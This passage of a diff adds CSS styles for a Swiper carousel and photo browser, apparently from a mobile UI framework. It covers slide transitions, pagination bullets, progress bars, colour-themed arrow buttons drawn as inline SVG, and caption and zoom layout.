transition-property: opacity; +} +.swiper-container-fade .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-fade .swiper-slide-active, +.swiper-container-fade .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip { + overflow: visible; +} +.swiper-container-flip .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; +} +.swiper-container-flip .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-flip .swiper-slide-active, +.swiper-container-flip .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip .swiper-slide-shadow-top, +.swiper-container-flip .swiper-slide-shadow-bottom, +.swiper-container-flip .swiper-slide-shadow-left, +.swiper-container-flip .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +/* Scrollbar */ +.swiper-scrollbar { + border-radius: 10px; + position: relative; + -ms-touch-action: none; + background: rgba(0, 0, 0, 0.1); +} +.swiper-container-horizontal > .swiper-scrollbar { + position: absolute; + left: 1%; + bottom: 3px; + z-index: 50; + height: 5px; + width: 98%; +} +.swiper-container-vertical > .swiper-scrollbar { + position: absolute; + right: 3px; + top: 1%; + z-index: 50; + width: 5px; + height: 98%; +} +.swiper-scrollbar-drag { + height: 100%; + width: 100%; + position: relative; + background: rgba(0, 0, 0, 0.5); + border-radius: 10px; + left: 0; + top: 0; +} +.swiper-scrollbar-cursor-drag { + cursor: move; +} +.swiper-scrollbar-lock { + display: none; +} +.swiper-zoom-container { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + text-align: center; +} +.swiper-zoom-container > img, +.swiper-zoom-container > svg, +.swiper-zoom-container > canvas { + max-width: 100%; + max-height: 100%; + -o-object-fit: contain; + object-fit: contain; +} +.swiper-slide-zoomed { + cursor: move; +} +.swiper-button-prev, +.swiper-button-next { + position: absolute; + top: 50%; + width: 27px; + height: 44px; + margin-top: -22px; + z-index: 10; + cursor: pointer; + background-size: 27px 44px; + background-position: center; + background-repeat: no-repeat; +} +.swiper-button-prev.swiper-button-disabled, +.swiper-button-next.swiper-button-disabled { + opacity: 0.35; + cursor: auto; + pointer-events: none; +} +.swiper-button-prev, +.swiper-container-rtl .swiper-button-next { + left: 10px; + right: auto; +} +.swiper-button-next, +.swiper-container-rtl .swiper-button-prev { + right: 10px; + left: auto; +} +.swiper-pagination { + position: absolute; + text-align: center; + -webkit-transition: 300ms opacity; + transition: 300ms opacity; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 10; +} +.swiper-pagination.swiper-pagination-hidden { + opacity: 0; +} +.swiper-pagination-fraction, +.swiper-pagination-custom, +.swiper-container-horizontal > .swiper-pagination-bullets { + bottom: 10px; + left: 0; + width: 100%; +} +.swiper-pagination-bullets-dynamic { + overflow: hidden; + font-size: 0; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transform: scale(0.33); + transform: scale(0.33); + position: relative; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active { + -webkit-transform: scale(1); + transform: scale(1); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullet { + width: 8px; + height: 8px; + display: inline-block; + border-radius: 100%; + background: #000; + opacity: 0.2; +} +button.swiper-pagination-bullet { + border: none; + margin: 0; + padding: 0; + -webkit-box-shadow: none; + box-shadow: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.swiper-pagination-clickable .swiper-pagination-bullet { + cursor: pointer; +} +.swiper-pagination-bullet-active { + opacity: 1; +} +.swiper-container-vertical > .swiper-pagination-bullets { + right: 10px; + top: 50%; + -webkit-transform: translate3d(0px, -50%, 0); + transform: translate3d(0px, -50%, 0); +} +.swiper-container-vertical > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 6px 0; + display: block; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + width: 8px; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + display: inline-block; + -webkit-transition: 200ms top, 200ms -webkit-transform; + transition: 200ms top, 200ms -webkit-transform; + transition: 200ms transform, 200ms top; + transition: 200ms transform, 200ms top, 200ms -webkit-transform; +} +.swiper-container-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 0 4px; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + white-space: nowrap; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transition: 200ms left, 200ms -webkit-transform; + transition: 200ms left, 200ms -webkit-transform; + transition: 200ms transform, 200ms left; + transition: 200ms transform, 200ms left, 200ms -webkit-transform; +} +.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); + position: absolute; +} +.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transform-origin: left top; + transform-origin: left top; +} +.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + -webkit-transform-origin: right top; + transform-origin: right top; +} +.swiper-container-horizontal > .swiper-pagination-progressbar, +.swiper-container-vertical > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 100%; + height: 4px; + left: 0; + top: 0; +} +.swiper-container-vertical > .swiper-pagination-progressbar, +.swiper-container-horizontal > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 4px; + height: 100%; + left: 0; + top: 0; +} +.swiper-lazy-preloader { + position: absolute; + left: 50%; + top: 50%; + z-index: 10; +} +.md .swiper-lazy-preloader { + width: 32px; + height: 32px; + margin-left: -16px; + margin-top: -16px; +} +.md .swiper-button-prev, +.md .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next, +.md .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-pagination-bullet-active { + background: #2196f3; +} +.md .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #2196f3; +} +.md .swiper-button-prev.color-red, +.md .swiper-container-rtl .swiper-button-next.color-red, +.md .color-theme-red .swiper-button-prev, +.md .color-theme-red .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-red, +.md .swiper-container-rtl .swiper-button-prev.color-red, +.md .color-theme-red .swiper-button-next, +.md .color-theme-red .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-red .swiper-pagination-bullet-active, +.md .color-theme-red .swiper-pagination-bullet-active { + background: #f44336; +} +.md .color-red .swiper-pagination-progressbar, +.md .color-theme-red .swiper-pagination-progressbar, +.md .color-red.swiper-pagination-progressbar, +.md .color-theme-red.swiper-pagination-progressbar { + background: rgba(244, 67, 54, 0.25); +} +.md .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #f44336; +} +.md .swiper-button-prev.color-green, +.md .swiper-container-rtl .swiper-button-next.color-green, +.md .color-theme-green .swiper-button-prev, +.md .color-theme-green .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-green, +.md .swiper-container-rtl .swiper-button-prev.color-green, +.md .color-theme-green .swiper-button-next, +.md .color-theme-green .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-green .swiper-pagination-bullet-active, +.md .color-theme-green .swiper-pagination-bullet-active { + background: #4caf50; +} +.md .color-green .swiper-pagination-progressbar, +.md .color-theme-green .swiper-pagination-progressbar, +.md .color-green.swiper-pagination-progressbar, +.md .color-theme-green.swiper-pagination-progressbar { + background: rgba(76, 175, 80, 0.25); +} +.md .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #4caf50; +} +.md .swiper-button-prev.color-blue, +.md .swiper-container-rtl .swiper-button-next.color-blue, +.md .color-theme-blue .swiper-button-prev, +.md .color-theme-blue .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-blue, +.md .swiper-container-rtl .swiper-button-prev.color-blue, +.md .color-theme-blue .swiper-button-next, +.md .color-theme-blue .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-blue .swiper-pagination-bullet-active, +.md .color-theme-blue .swiper-pagination-bullet-active { + background: #2196f3; +} +.md .color-blue .swiper-pagination-progressbar, +.md .color-theme-blue .swiper-pagination-progressbar, +.md .color-blue.swiper-pagination-progressbar, +.md .color-theme-blue.swiper-pagination-progressbar { + background: rgba(33, 150, 243, 0.25); +} +.md .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #2196f3; +} +.md .swiper-button-prev.color-pink, +.md .swiper-container-rtl .swiper-button-next.color-pink, +.md .color-theme-pink .swiper-button-prev, +.md .color-theme-pink .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-pink, +.md .swiper-container-rtl .swiper-button-prev.color-pink, +.md .color-theme-pink .swiper-button-next, +.md .color-theme-pink .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-pink .swiper-pagination-bullet-active, +.md .color-theme-pink .swiper-pagination-bullet-active { + background: #e91e63; +} +.md .color-pink .swiper-pagination-progressbar, +.md .color-theme-pink .swiper-pagination-progressbar, +.md .color-pink.swiper-pagination-progressbar, +.md .color-theme-pink.swiper-pagination-progressbar { + background: rgba(233, 30, 99, 0.25); +} +.md .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #e91e63; +} +.md .swiper-button-prev.color-yellow, +.md .swiper-container-rtl .swiper-button-next.color-yellow, +.md .color-theme-yellow .swiper-button-prev, +.md .color-theme-yellow .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-yellow, +.md .swiper-container-rtl .swiper-button-prev.color-yellow, +.md .color-theme-yellow .swiper-button-next, +.md .color-theme-yellow .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-yellow .swiper-pagination-bullet-active, +.md .color-theme-yellow .swiper-pagination-bullet-active { + background: #ffeb3b; +} +.md .color-yellow .swiper-pagination-progressbar, +.md .color-theme-yellow .swiper-pagination-progressbar, +.md .color-yellow.swiper-pagination-progressbar, +.md .color-theme-yellow.swiper-pagination-progressbar { + background: rgba(255, 235, 59, 0.25); +} +.md .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffeb3b; +} +.md .swiper-button-prev.color-orange, +.md .swiper-container-rtl .swiper-button-next.color-orange, +.md .color-theme-orange .swiper-button-prev, +.md .color-theme-orange .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-orange, +.md .swiper-container-rtl .swiper-button-prev.color-orange, +.md .color-theme-orange .swiper-button-next, +.md .color-theme-orange .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-orange .swiper-pagination-bullet-active, +.md .color-theme-orange .swiper-pagination-bullet-active { + background: #ff9800; +} +.md .color-orange .swiper-pagination-progressbar, +.md .color-theme-orange .swiper-pagination-progressbar, +.md .color-orange.swiper-pagination-progressbar, +.md .color-theme-orange.swiper-pagination-progressbar { + background: rgba(255, 152, 0, 0.25); +} +.md .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff9800; +} +.md .swiper-button-prev.color-gray, +.md .swiper-container-rtl .swiper-button-next.color-gray, +.md .color-theme-gray .swiper-button-prev, +.md .color-theme-gray .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-gray, +.md .swiper-container-rtl .swiper-button-prev.color-gray, +.md .color-theme-gray .swiper-button-next, +.md .color-theme-gray .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-gray .swiper-pagination-bullet-active, +.md .color-theme-gray .swiper-pagination-bullet-active { + background: #9e9e9e; +} +.md .color-gray .swiper-pagination-progressbar, +.md .color-theme-gray .swiper-pagination-progressbar, +.md .color-gray.swiper-pagination-progressbar, +.md .color-theme-gray.swiper-pagination-progressbar { + background: rgba(158, 158, 158, 0.25); +} +.md .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #9e9e9e; +} +.md .swiper-button-prev.color-white, +.md .swiper-container-rtl .swiper-button-next.color-white, +.md .color-theme-white .swiper-button-prev, +.md .color-theme-white .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-white, +.md .swiper-container-rtl .swiper-button-prev.color-white, +.md .color-theme-white .swiper-button-next, +.md .color-theme-white .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-white .swiper-pagination-bullet-active, +.md .color-theme-white .swiper-pagination-bullet-active { + background: #ffffff; +} +.md .color-white .swiper-pagination-progressbar, +.md .color-theme-white .swiper-pagination-progressbar, +.md .color-white.swiper-pagination-progressbar, +.md .color-theme-white.swiper-pagination-progressbar { + background: rgba(255, 255, 255, 0.25); +} +.md .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffffff; +} +.md .swiper-button-prev.color-black, +.md .swiper-container-rtl .swiper-button-next.color-black, +.md .color-theme-black .swiper-button-prev, +.md .color-theme-black .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-black, +.md .swiper-container-rtl .swiper-button-prev.color-black, +.md .color-theme-black .swiper-button-next, +.md .color-theme-black .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-black .swiper-pagination-bullet-active, +.md .color-theme-black .swiper-pagination-bullet-active { + background: #000000; +} +.md .color-black .swiper-pagination-progressbar, +.md .color-theme-black .swiper-pagination-progressbar, +.md .color-black.swiper-pagination-progressbar, +.md .color-theme-black.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); +} +.md .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #000000; +} +/* === Photo Browser === */ +.photo-browser { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 400; +} +.photo-browser-standalone.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-in 400ms; + animation: photo-browser-in 400ms; +} +.photo-browser-standalone.modal-out { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-out 400ms; + animation: photo-browser-out 400ms; +} +.photo-browser-standalone.modal-out.swipe-close-to-bottom, +.photo-browser-standalone.modal-out.swipe-close-to-top { + -webkit-animation: none; + animation: none; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom, +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transform: translate3d(0, -100vh, 0); + transform: translate3d(0, -100vh, 0); +} +.page.photo-browser-page { + background: none; +} +.photo-browser-popup { + background: none; +} +.photo-browser-exposed .navbar, +.photo-browser-exposed .toolbar { + opacity: 0; + visibility: hidden; + pointer-events: none; +} +.photo-browser-exposed .photo-browser-swiper-container { + background: #000; +} +.photo-browser-of { + margin: 0 5px; +} +.photo-browser-captions { + pointer-events: none; + position: absolute; + left: 0; + width: 100%; + bottom: 0; + z-index: 10; + opacity: 1; + -webkit-transition: 400ms; + transition: 400ms; +} +.photo-browser-captions.photo-browser-captions-exposed { + opacity: 0; +} +.photo-browser-caption { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; + position: absolute; + bottom: 0; + left: 0; + opacity: 0; + padding: 4px 5px; + width: 100%; + text-align: center; + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-caption:empty { + display: none; +} +.photo-browser-caption.photo-browser-caption-active { + opacity: 1; +} +.photo-browser-captions-light .photo-browser-caption { + background: rgba(255, 255, 255, 0.8); + color: #000; +} +.photo-browser-captions-dark .photo-browser-caption { + color: #fff; +} +.photo-browser-exposed .photo-browser-caption { + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-swiper-container { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: hidden; + background: #fff; + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.photo-browser-prev.swiper-button-disabled, +.photo-browser-next.swiper-button-disabled { + opacity: 0.3; +} +.photo-browser-slide { + width: 100%; + height: 100%; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.photo-browser-slide.photo-browser-transitioning { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.photo-browser-slide span.swiper-zoom-container { + display: none; +} +.photo-browser-slide img { + width: auto; + height: auto; + max-width: 100%; + max-height: 100%; + display: none; +} +.photo-browser-slide.swiper-slide-active span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-next span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.photo-browser-slide.swiper-slide-active img, +.photo-browser-slide.swiper-slide-next img, +.photo-browser-slide.swiper-slide-prev img { + display: inline; +} +.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader { + display: block; +} +.photo-browser-slide iframe { + width: 100%; + height: 100%; +} +.photo-browser-slide .preloader { + display: none; + position: absolute; + width: 42px; + height: 42px; + margin-left: -21px; + margin-top: -21px; + left: 50%; + top: 50%; +} +.photo-browser-dark .photo-browser-swiper-container, +.photo-browser-page-dark .photo-browser-swiper-container { + background: #000; +} +@-webkit-keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + 